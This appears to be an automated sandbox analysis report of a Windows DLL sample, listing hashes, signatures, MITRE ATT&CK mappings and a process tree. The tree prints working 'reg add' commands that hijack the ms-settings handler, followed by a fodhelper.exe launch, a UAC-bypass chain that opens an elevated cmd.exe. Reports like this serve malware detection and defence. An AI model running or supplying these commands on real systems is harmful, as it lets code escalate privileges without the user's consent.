d3810570d9dc0e10990cb0a46915003f86ea9c569d0c371ddbda00450409c0f0

Resubmissions

21/08/2026, 21:43

260821-1lex1sxgrf5

21/08/2026, 21:42

260821-1kldeade335

Analysis

user interaction
yes
max time kernel
46s
max time network
46s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/08/2026, 21:42

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General

Target
hopefulrunner.dll
Size 107KB
Sample260821-1kldeade33
SHA256 d3810570d9dc0e10990cb0a46915003f86ea9c569d0c371ddbda00450409c0f0
MD5 2d1a3d9fec14c3e6d826d264c8c13743
SHA1 d9ae0ac205e760b96d44126ccc62d1c29b1ba31f
SHA512 9b3c647dbe49c27b32a603df63a13281a5d8fadbe2c6b6a30a8d72b1b9ab9d4f7529f205ba150cdf6d51b8e77c7f279be50721b1d31b7347d3ff16f037992544
SSDEEP 1536:e10DDH/YmBpYrAGFei4TsMIvw6hpeWpQLJijVjKCa6hH/OpHg2Av5q8O3NAB5pFR:2iH/YmBpCWCQ6hZV
TLSH
T139B3F8C2BBCBEE97CA01223055FA43291339F6D51B860B077C6959310E17BE47E9BB46
MD5 SHA1 SHA512 SSDEEP TLSH

Score

5^/10

execution

Malware Config

Signatures

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\spool\drivers\color\privilege_verification.txt	rundll32.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5368	cmd.exe
3460	cmd.exe
6008	cmd.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\System32\\cmd.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open\command\DelegateExecute	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open\command	reg.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4160	reg.exe
4504	reg.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 5368	2808	rundll32.exe	90
PID 5368 wrote to memory of 4504	5368	cmd.exe	92
PID 2808 wrote to memory of 3460	2808	rundll32.exe	93
PID 3460 wrote to memory of 4160	3460	cmd.exe	95
PID 2808 wrote to memory of 6008	2808	rundll32.exe	96
PID 6008 wrote to memory of 5420	6008	cmd.exe	98
PID 5420 wrote to memory of 2056	5420	fodhelper.exe	99

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\hopefulrunner.dll,#1
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /d "C:\Windows\System32\cmd.exe" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5368
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /d "C:\Windows\System32\cmd.exe" /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:4504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3460
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:4160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c fodhelper.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6008
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5420
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe"
      4⤵
      PID:2056

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:1700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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